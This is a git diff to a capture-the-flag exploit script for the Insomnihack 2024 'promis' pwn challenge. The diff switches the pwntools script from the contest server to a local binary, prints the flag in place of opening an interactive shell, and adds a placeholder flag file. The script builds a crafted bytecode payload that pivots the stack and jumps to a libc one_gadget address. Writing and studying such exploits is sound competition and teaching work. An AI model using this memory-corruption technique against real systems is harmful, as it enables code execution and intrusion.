diff --git a/insomnihack24/pwn/promis/exploit.py b/insomnihack24/pwn/promis/exploit.py index 37bed87..24945e2 100644 --- a/insomnihack24/pwn/promis/exploit.py +++ b/insomnihack24/pwn/promis/exploit.py @@ -1,13 +1,11 @@ -from pwn import * +from pwn import * -context.binary = ELF("./promis_patched_patched_patched") +context.binary = ELF("./promis_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") -# p = process(context.binary.path) -p = remote("promis.insomnihack.ch", 6666, fam="ipv4") - -pause() +p = process(context.binary.path) +#p = remote("promis.insomnihack.ch", 6666, fam="ipv4") load_long = b"\x16" add = b"\x20" @@ -21,4 +19,5 @@ diff = one_gadget_offset - (libc.symbols["__libc_start_main"] + 231) code = move_stack + move_stack + weird_pop * 2 + set_val + p32(diff & 0xFFFFFFFFFFFFFFFF) + add + weird_pop * 5 + b"\x00" p.sendline(code) p.sendline(b"cat flag.txt") -p.interactive() +flag = p.recvline() +print(flag.decode()) diff --git a/insomnihack24/pwn/promis/flag.txt b/insomnihack24/pwn/promis/flag.txt new file mode 100644 index 0000000..da56209 --- /dev/null +++ b/insomnihack24/pwn/promis/flag.txt @@ -0,0 +1 @@ +INS{this-is-a-fake-flag}